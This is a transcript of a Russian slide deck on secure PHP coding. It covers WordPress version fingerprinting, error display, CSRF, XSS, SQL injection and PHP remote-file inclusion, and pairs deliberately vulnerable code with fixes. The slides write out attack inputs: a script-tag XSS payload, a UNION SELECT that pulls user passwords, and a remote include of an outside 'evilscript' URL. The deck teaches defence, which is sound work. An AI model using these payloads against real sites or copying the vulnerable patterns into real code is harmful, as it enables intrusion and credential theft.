Безопасный кодинг. Хакеры нас не достанут (Максим...

27
Максим “Arrim” Попов

Upload: kristina-pomozova

Post on 16-Apr-2017

28 views

Category:

Software


0 download

TRANSCRIPT

Page 1: Безопасный кодинг. Хакеры нас не достанут (Максим “Arrim” Попов)

Максим “Arrim” Попов

Page 2: Безопасный кодинг. Хакеры нас не достанут (Максим “Arrim” Попов)

Максим “Arrim” Попов

Безопасный кодингхакеры нас не достанут

Page 3: Безопасный кодинг. Хакеры нас не достанут (Максим “Arrim” Попов)

Максим “Arrim” Попов

WHOAMI

Maxim “Arrim” Popov

Backend разработчик

@Arrim_kz

Page 4: Безопасный кодинг. Хакеры нас не достанут (Максим “Arrim” Попов)

Максим “Arrim” Попов

FingerprintПозволяет узнать какой движок или framework вы используете. Тем самым хакер может воспользоваться уже известной уязвимостью, которую вы не успели закрыть.

Так же боты используют Fingerprint для поиска уязвимых сайтов.

Page 5: Безопасный кодинг. Хакеры нас не достанут (Максим “Arrim” Попов)

Максим “Arrim” Попов

Fingerprint в wordpressВ header страницы:<meta name="generator" content="WordPress 4.3.1">

В RSS: <generator>http://wordpress.org/?v=4.3.1</generator>

При подключении стилей и скриптов:<link rel='stylesheet' id='dashicons-css' href='http://your_site/core/wp-includes/css/dashicons.min.css?ver=4.3.1' type='text/css' media='all' />

Page 6: Безопасный кодинг. Хакеры нас не достанут (Максим “Arrim” Попов)

Максим “Arrim” Попов

Fingerprint в wordpressВ header страницы:<meta name="generator" content="WordPress 4.3.1">

В RSS: <generator>http://wordpress.org/?v=4.3.1</generator>

При подключении стилей и скриптов:<link rel='stylesheet' id='dashicons-css' href='http://your_site/core/wp-includes/css/dashicons.min.css?ver=4.3.1' type='text/css' media='all' />

В functions.php:add_filter('the_generator', '__return_empty_string');function rem_wp_ver_css_js ($src) { if (strpos($src, 'ver=')) $src = remove_query_arg('ver', $src); return $src;}add_filter ('style_loader_src', 'rem_wp_ver_css_js', 9999);add_filter ('script_loader_src', 'rem_wp_ver_css_js', 9999);

Page 7: Безопасный кодинг. Хакеры нас не достанут (Максим “Arrim” Попов)

Максим “Arrim” Попов

[название движка] скрыть версию

Page 8: Безопасный кодинг. Хакеры нас не достанут (Максим “Arrim” Попов)

Максим “Arrim” Попов

Вывод ошибок

Page 9: Безопасный кодинг. Хакеры нас не достанут (Максим “Arrim” Попов)

Максим “Arrim” Попов

ini_set('display_errors','Off');

Page 10: Безопасный кодинг. Хакеры нас не достанут (Максим “Arrim” Попов)

Максим “Arrim” Попов

Извините, у нас обед ошибка

Page 11: Безопасный кодинг. Хакеры нас не достанут (Максим “Arrim” Попов)

Максим “Arrim” Попов

CSRFCSRF (англ. Сross Site Request Forgery — «Подделка межсайтовых запросов», также известен как XSRF) — вид атак на посетителей веб-сайтов. Если жертва заходит на сайт, созданный злоумышленником, от её лица тайно отправляется запрос на другой сервер (например, на сервер платёжной системы), осуществляющий некую вредоносную операцию (например, перевод денег на счёт злоумышленника).

Page 12: Безопасный кодинг. Хакеры нас не достанут (Максим “Arrim” Попов)

Максим “Arrim” Попов

CSRFМетод: logOutAction()

[/logout]

...

$this->auth->remove();

...

<a href="/logout">Выйти</a>

Опасная картинка:

<img src="/logout">

Page 13: Безопасный кодинг. Хакеры нас не достанут (Максим “Arrim” Попов)

Максим “Arrim” Попов

CSRFif($this->security->checkToken())

{

$this->auth->remove();

}

<a href="/logout?<?= $this->security->getTokenKey(); ?>=<?= $this->security->getToken(); ?>">Выйти</a>

Page 14: Безопасный кодинг. Хакеры нас не достанут (Максим “Arrim” Попов)

Максим “Arrim” Попов

XSSXSS (англ. Cross-Site Scripting — «межсайтовый скриптинг») — тип атаки на веб-системы, заключающийся во внедрении в выдаваемую веб-системой страницу вредоносного кода (который будет выполнен на компьютере пользователя при открытии им этой страницы) и взаимодействии этого кода с веб-сервером злоумышленника.

Page 15: Безопасный кодинг. Хакеры нас не достанут (Максим “Arrim” Попов)

Максим “Arrim” Попов

XSSУязвимый код:

<title>

<?php echo $_GET['query'] ?>

</title>

Запрос хакера:

<script>

alert("HACK!")

</script>

Page 16: Безопасный кодинг. Хакеры нас не достанут (Максим “Arrim” Попов)

Максим “Arrim” Попов

XSSУязвимый код:

<title>

<?php echo $_GET['query'] ?>

</title>

Запрос хакера:

<script>

alert("HACK!")

</script>

Page 17: Безопасный кодинг. Хакеры нас не достанут (Максим “Arrim” Попов)

Максим “Arrim” Попов

Защита от XSS: strip_tags<title>

<?php echo strip_tags($_GET['query']) ?>

</title>

Результат:

<title>

alert("HACK!")

</title>

<input value="<?php strip_tags($_GET['query']); ?>">

Запрос хакера:

" onClick="alert(‘HACK!’);

Результат:

<input value="" onClick="alert('HACK!');">

Page 18: Безопасный кодинг. Хакеры нас не достанут (Максим “Arrim” Попов)

Максим “Arrim” Попов

Защита от XSS: strip_tags<title>

<?php echo strip_tags($_GET['query']) ?>

</title>

Результат:

<title>

alert("HACK!")

</title>

Page 19: Безопасный кодинг. Хакеры нас не достанут (Максим “Arrim” Попов)

Максим “Arrim” Попов

htmlentities() и htmlspecialchars()

<input value="<?php htmlentities($_GET['query']); ?>">

Результат:

<input value="&quot; onClick=&quot;alert('HACK!')&quot;">

<input value="<?php htmlspecialchars($_GET['query']); ?>">

Результат:

<input value="&quot; onClick=&quot;alert('HACK!')&quot;">

Page 20: Безопасный кодинг. Хакеры нас не достанут (Максим “Arrim” Попов)

Максим “Arrim” Попов

SQL injectionВнедрение SQL-кода (англ. SQL injection) — один из распространённых способов взлома сайтов и программ, работающих с базами данных, основанный на внедрении в запрос произвольного SQL-кода.

Page 21: Безопасный кодинг. Хакеры нас не достанут (Максим “Arrim” Попов)

Максим “Arrim” Попов

SQL injection$news_id = $_GET['id'];

mysqli_query($link,

"SELECT * FROM news WHERE id = $news_id");

Запрос хакера:

news.php?news_id=-1 UNION SELECT name,2,pass,4,5 FROM users WHERE id=1

Результат:

SELECT * FROM news

WHERE id = -1

UNION SELECT name,2,pass,4,5 FROM users WHERE id=1

Page 22: Безопасный кодинг. Хакеры нас не достанут (Максим “Arrim” Попов)

Максим “Arrim” Попов

SQL injection$news_id = (int) $_GET['id'];

mysqli_query($link,

"SELECT * FROM news WHERE id = $news_id");

Запрос хакера:

news.php?news_id=-1 UNION SELECT name,2,pass,4,5 FROM users WHERE id=1

Результат:

SELECT * FROM news

WHERE id = -1

Page 23: Безопасный кодинг. Хакеры нас не достанут (Максим “Arrim” Попов)

Максим “Arrim” Попов

mysqli_real_escape_string()

Page 24: Безопасный кодинг. Хакеры нас не достанут (Максим “Arrim” Попов)

Максим “Arrim” Попов

SQL injectionArticles::find(array(

"title LIKE :search:",

"bind" => array(

"search" => "%".$this->request->getQuery("s")."%",

),

));

Page 25: Безопасный кодинг. Хакеры нас не достанут (Максим “Arrim” Попов)

Максим “Arrim” Попов

PHP injectionPHP-инъекция (англ. PHP injection) — один из способов взлома веб-сайтов, работающих на PHP, заключающийся в выполнении постороннего кода на серверной стороне.

Page 26: Безопасный кодинг. Хакеры нас не достанут (Максим “Arrim” Попов)

Максим “Arrim” Попов

PHP injectioneval()

preg_replace() (с модификатором «e»)

require_once()

include_once()

include()

require()

create_function()

$module = $_GET['module'];

include $module . '.php';

Запрос хакера:

?module=http://slider.kz/evilscript

Page 27: Безопасный кодинг. Хакеры нас не достанут (Максим “Arrim” Попов)

Максим “Arrim” Попов